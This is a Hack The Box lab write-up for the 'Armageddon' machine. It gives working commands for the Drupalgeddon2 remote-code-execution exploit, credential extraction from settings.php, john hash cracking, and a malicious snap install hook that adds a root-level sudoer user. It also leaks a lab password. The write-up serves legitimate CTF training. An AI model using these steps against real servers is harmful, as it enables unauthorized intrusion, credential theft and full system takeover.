Armageddon Walkthrough
Machine: Armageddon#
Date: 16-03-2026 Platform: HTB Status: [Rooted]
π Recon#
Nmap:#
nmap -sC -sV -oN scans/nmap.txt $MACHINE_IP
Results:#
- Port 22 β ssh (OpenSSH 7.4)
- Port 80 β http (Apache httpd 2.4.6 ((CentOS) PHP/5.4.16))
Notes:
- Drupal 7 detected via http-generator header
- robots.txt exposes full Drupal directory structure
- CHANGELOG.txt confirms exact version: Drupal 7.56
π Enumeration#
- Drupal version confirmed via
/CHANGELOG.txtβ 7.56 (vulnerable to CVE-2018-7600) - Database credentials found in
/var/www/html/sites/default/settings.php:- DB:
drupal, User:drupaluser, Password:[REDACTED]
- DB:
- MySQL query via RCE reveals Drupal user hash:
- User:
brucetherealadmin - Hash:
$S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt(Drupal7/PHPass)
- User:
π₯ Exploitation#
- CVE-2018-7600 (Drupalgeddon2) β RCE unauthenticated on Drupal < 7.58:
git clone https://github.com/pimps/CVE-2018-7600
python3 drupa7-CVE-2018-7600.py http://$MACHINE_IP -c "id"
β RCE as apache
- Reverse shell blocked by firewall β used RCE to read files instead
- Extracted DB credentials from
settings.php, queried MySQL directly via RCE - Cracked Drupal hash with john:
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
β Password: [REDACTED]
- SSH login as
brucetherealadmin:boobooβ
Result: Shell as brucetherealadmin
β‘ Privilege Escalation#
Enumeration:
sudo -lβbrucetherealadmincan run/usr/bin/snap install *as root (NOPASSWD)
Attempt 1 β Malicious snap package with install hook:
- Created snap with hook that adds a new sudoer user:
useradd -m -p $(openssl passwd -1 pwned123) -s /bin/bash -G wheel pwned
echo 'pwned ALL=(ALL) NOPASSWD: ALL' >> /etc/sudoers
- Packaged with
fpm, transferred viascp, installed with:
sudo snap install /tmp/pwsnap_1.0_all.snap --dangerous --devmode
β Hook executed as root β
Successful escalation:
- SSH as
pwned:pwned123βsudo suβ root β
π― Loot / Flags#
- user.txt:
[FLAG REDACTED] - root.txt:
[FLAG REDACTED]
π Lessons Learned#
- Always check
CHANGELOG.txton Drupal sites β reveals exact version instantly settings.phpin Drupal is a goldmine β always read it when you have file read access- DB credentials are often reused as system passwords β always try them on SSH
- PHPass hashes (Drupal7
$S$) crack fine with john even without a GPU - Firewall may block outbound connections β adapt and use file read / DB queries instead of reverse shells
sudo snap installwith wildcard is a direct privesc β snap hooks run as root- On CentOS/RHEL the sudoers group is
wheel, notsudo - Use
scpto transfer files when HTTP server is blocked outbound
#Linux #HTB #Enumeration #Web #Apache #Drupal #Drupal7 #CVE #CVE-2018-7600 #Drupalgeddon2 #RCE #FileRead #MySQL #CredentialExtraction #HashExtraction #HashCracking #John #PasswordReuse #SSH #PrivilegeEscalation #Sudo #Snap #CommandExecution #PostExploitation
Adapted from MountainFlayer/htb-writeups under MIT.